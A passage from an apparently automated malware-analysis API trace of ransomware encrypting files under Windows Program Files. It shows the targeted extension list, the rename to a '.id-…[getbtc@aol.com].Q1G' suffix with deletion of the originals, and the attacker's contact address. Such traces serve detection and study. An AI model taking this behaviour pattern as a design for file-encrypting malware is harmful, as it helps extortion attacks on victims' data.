dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.966] GetLastError () returned 0x0 [0050.966] ReadFile (in: hFile=0x1d0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x1195f, lpOverlapped=0x0) returned 1 [0051.230] WriteFile (in: hFile=0x208, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x11960, lpOverlapped=0x0) returned 1 [0051.232] ReadFile (in: hFile=0x1d0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.235] WriteFile (in: hFile=0x208, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.235] SetEndOfFile (hFile=0x208) returned 1 [0051.235] CloseHandle (hObject=0x208) returned 1 [0051.235] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.236] SetEndOfFile (hFile=0x1d0) returned 1 [0051.237] CloseHandle (hObject=0x1d0) returned 1 [0051.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0051.237] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0051.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.238] lstrlenW (lpString=".doc") returned 4 [0051.238] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.238] lstrlenW (lpString=".docx") returned 5 [0051.238] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0051.238] lstrlenW (lpString=".pdf") returned 4 [0051.238] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.238] lstrlenW (lpString=".xls") returned 4 [0051.238] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.238] lstrlenW (lpString=".xlsx") returned 5 [0051.238] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0051.238] lstrlenW (lpString=".ppt") returned 4 [0051.238] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.238] lstrlenW (lpString=".zip") returned 4 [0051.238] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.238] lstrlenW (lpString=".rar") returned 4 [0051.238] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.238] lstrlenW (lpString=".bz2") returned 4 [0051.238] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.238] lstrlenW (lpString=".7z") returned 3 [0051.238] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.238] lstrlenW (lpString=".dbf") returned 4 [0051.238] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.238] lstrlenW (lpString=".1cd") returned 4 [0051.238] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.238] lstrlenW (lpString=".jpg") returned 4 [0051.238] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.239] lstrlenW (lpString=".doc") returned 4 [0051.239] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.239] lstrlenW (lpString=".docx") returned 5 [0051.239] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0051.239] lstrlenW (lpString=".pdf") returned 4 [0051.239] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.239] lstrlenW (lpString=".xls") returned 4 [0051.239] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.239] lstrlenW (lpString=".xlsx") returned 5 [0051.239] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0051.239] lstrlenW (lpString=".ppt") returned 4 [0051.239] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.239] lstrlenW (lpString=".zip") returned 4 [0051.239] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.239] lstrlenW (lpString=".rar") returned 4 [0051.239] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.239] lstrlenW (lpString=".bz2") returned 4 [0051.239] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.239] lstrlenW (lpString=".7z") returned 3 [0051.239] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.239] lstrlenW (lpString=".dbf") returned 4 [0051.239] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.239] lstrlenW (lpString=".1cd") returned 4 [0051.239] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.239] lstrlenW (lpString=".jpg") returned 4 [0051.239] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.240] lstrcmpiW (lpString1=".bmp", lpString2=".Q1G") returned -1 [0051.240] lstrlenW (lpString="verisign.bmp") returned 12 [0051.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0051.448] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2702) returned 1 [0051.448] CloseHandle (hObject=0x1a0) returned 1 [0051.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0051.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.449] lstrlenW (lpString=".doc") returned 4 [0051.449] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0051.449] lstrlenW (lpString=".docx") returned 5 [0051.449] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0051.449] lstrlenW (lpString=".pdf") returned 4 [0051.449] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0051.449] lstrlenW (lpString=".xls") returned 4 [0051.449] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0051.449] lstrlenW (lpString=".xlsx") returned 5 [0051.449] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0051.449] lstrlenW (lpString=".ppt") returned 4 [0051.449] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.449] lstrlenW (lpString=".zip") returned 4 [0051.449] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0051.449] lstrlenW (lpString=".rar") returned 4 [0051.449] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0051.449] lstrlenW (lpString=".bz2") returned 4 [0051.449] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0051.449] lstrlenW (lpString=".7z") returned 3 [0051.449] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.449] lstrlenW (lpString=".dbf") returned 4 [0051.449] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.449] lstrlenW (lpString=".1cd") returned 4 [0051.449] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.449] lstrlenW (lpString=".jpg") returned 4 [0051.449] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.450] lstrlenW (lpString=".doc") returned 4 [0051.450] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0051.450] lstrlenW (lpString=".docx") returned 5 [0051.450] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0051.450] lstrlenW (lpString=".pdf") returned 4 [0051.450] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0051.450] lstrlenW (lpString=".xls") returned 4 [0051.450] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0051.450] lstrlenW (lpString=".xlsx") returned 5 [0051.450] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0051.450] lstrlenW (lpString=".ppt") returned 4 [0051.450] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0051.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.450] lstrlenW (lpString=".zip") returned 4 [0051.450] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0051.450] lstrlenW (lpString=".rar") returned 4 [0051.450] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0051.450] lstrlenW (lpString=".bz2") returned 4 [0051.450] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0051.450] lstrlenW (lpString=".7z") returned 3 [0051.450] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0051.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.450] lstrlenW (lpString=".dbf") returned 4 [0051.450] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0051.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.450] lstrlenW (lpString=".1cd") returned 4 [0051.450] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0051.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0051.450] lstrlenW (lpString=".jpg") returned 4 [0051.450] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0051.450] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0051.451] lstrlenW (lpString="adojavas.inc") returned 12 [0051.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.473] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=14610) returned 1 [0051.473] CloseHandle (hObject=0x208) returned 1 [0051.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0051.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.474] lstrlenW (lpString=".doc") returned 4 [0051.474] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.474] lstrlenW (lpString=".docx") returned 5 [0051.474] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.474] lstrlenW (lpString=".pdf") returned 4 [0051.474] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.474] lstrlenW (lpString=".xls") returned 4 [0051.474] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.474] lstrlenW (lpString=".xlsx") returned 5 [0051.474] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.474] lstrlenW (lpString=".ppt") returned 4 [0051.474] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.474] lstrlenW (lpString=".zip") returned 4 [0051.474] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.474] lstrlenW (lpString=".rar") returned 4 [0051.474] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.474] lstrlenW (lpString=".bz2") returned 4 [0051.474] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.474] lstrlenW (lpString=".7z") returned 3 [0051.474] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.474] lstrlenW (lpString=".dbf") returned 4 [0051.474] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.474] lstrlenW (lpString=".1cd") returned 4 [0051.474] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.474] lstrlenW (lpString=".jpg") returned 4 [0051.474] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.475] lstrlenW (lpString=".doc") returned 4 [0051.475] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.475] lstrlenW (lpString=".docx") returned 5 [0051.475] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.475] lstrlenW (lpString=".pdf") returned 4 [0051.475] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.475] lstrlenW (lpString=".xls") returned 4 [0051.475] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.475] lstrlenW (lpString=".xlsx") returned 5 [0051.475] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.475] lstrlenW (lpString=".ppt") returned 4 [0051.475] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.475] lstrlenW (lpString=".zip") returned 4 [0051.475] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.475] lstrlenW (lpString=".rar") returned 4 [0051.475] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.475] lstrlenW (lpString=".bz2") returned 4 [0051.475] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.475] lstrlenW (lpString=".7z") returned 3 [0051.475] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.475] lstrlenW (lpString=".dbf") returned 4 [0051.475] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.476] lstrlenW (lpString=".1cd") returned 4 [0051.476] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.476] lstrlenW (lpString=".jpg") returned 4 [0051.476] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.476] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0051.476] lstrlenW (lpString="adcvbs.inc") returned 10 [0051.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.480] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=623) returned 1 [0051.480] CloseHandle (hObject=0x208) returned 1 [0051.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0051.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.481] lstrlenW (lpString=".doc") returned 4 [0051.481] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.481] lstrlenW (lpString=".docx") returned 5 [0051.481] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.481] lstrlenW (lpString=".pdf") returned 4 [0051.481] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.481] lstrlenW (lpString=".xls") returned 4 [0051.481] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.481] lstrlenW (lpString=".xlsx") returned 5 [0051.481] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.481] lstrlenW (lpString=".ppt") returned 4 [0051.481] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.481] lstrlenW (lpString=".zip") returned 4 [0051.481] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.481] lstrlenW (lpString=".rar") returned 4 [0051.481] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.481] lstrlenW (lpString=".bz2") returned 4 [0051.481] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.481] lstrlenW (lpString=".7z") returned 3 [0051.481] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.481] lstrlenW (lpString=".dbf") returned 4 [0051.481] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.482] lstrlenW (lpString=".1cd") returned 4 [0051.482] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.482] lstrlenW (lpString=".jpg") returned 4 [0051.482] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.482] lstrlenW (lpString=".doc") returned 4 [0051.482] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.482] lstrlenW (lpString=".docx") returned 5 [0051.482] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.482] lstrlenW (lpString=".pdf") returned 4 [0051.482] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.482] lstrlenW (lpString=".xls") returned 4 [0051.482] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.482] lstrlenW (lpString=".xlsx") returned 5 [0051.482] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.482] lstrlenW (lpString=".ppt") returned 4 [0051.482] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.482] lstrlenW (lpString=".zip") returned 4 [0051.482] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.482] lstrlenW (lpString=".rar") returned 4 [0051.482] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.482] lstrlenW (lpString=".bz2") returned 4 [0051.482] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.482] lstrlenW (lpString=".7z") returned 3 [0051.482] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.482] lstrlenW (lpString=".dbf") returned 4 [0051.482] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.482] lstrlenW (lpString=".1cd") returned 4 [0051.482] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.483] lstrlenW (lpString=".jpg") returned 4 [0051.483] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.483] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0051.483] lstrlenW (lpString="oledbvbs.inc") returned 12 [0051.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.799] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=9975) returned 1 [0051.799] CloseHandle (hObject=0x208) returned 1 [0051.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0051.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.800] lstrlenW (lpString=".doc") returned 4 [0051.800] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.800] lstrlenW (lpString=".docx") returned 5 [0051.800] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.800] lstrlenW (lpString=".pdf") returned 4 [0051.800] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.800] lstrlenW (lpString=".xls") returned 4 [0051.800] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.800] lstrlenW (lpString=".xlsx") returned 5 [0051.800] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.800] lstrlenW (lpString=".ppt") returned 4 [0051.800] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.800] lstrlenW (lpString=".zip") returned 4 [0051.800] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.800] lstrlenW (lpString=".rar") returned 4 [0051.800] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.800] lstrlenW (lpString=".bz2") returned 4 [0051.800] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.800] lstrlenW (lpString=".7z") returned 3 [0051.800] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.800] lstrlenW (lpString=".dbf") returned 4 [0051.800] lstrcmpiW 